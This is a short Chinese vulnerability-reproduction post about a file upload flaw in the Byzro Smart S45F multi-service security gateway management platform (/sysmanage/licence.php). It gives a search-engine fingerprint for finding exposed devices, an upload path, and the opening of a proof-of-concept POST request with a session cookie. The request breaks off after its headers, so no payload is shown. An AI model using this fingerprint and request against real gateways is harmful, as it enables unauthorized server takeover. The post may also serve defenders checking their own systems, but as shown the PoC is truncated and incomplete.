【漏洞复现】百卓Smart S45F网关智能管理平台/sysmanage/licence.php文件上传漏洞

漏洞描述

北京百卓网络科技有限公司（以下简称百卓网络）是一家致力于打造下一代安全互联网的高新技术企业。Byzro Networks Smart S45F多业务安全网关智能管理平台存在文件上传漏洞。攻击者可以利用漏洞获取服务器权限或对系统造成业务影响。

搜索语句

title="PatrolFlow--管理平台"

漏洞详情

文件上传路径

/home/upload/readme.txt

poc

POST /sysmanage/licence.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=b11375c64210599a5bf9a99744783d48
User-Agent: Mozilla/5.0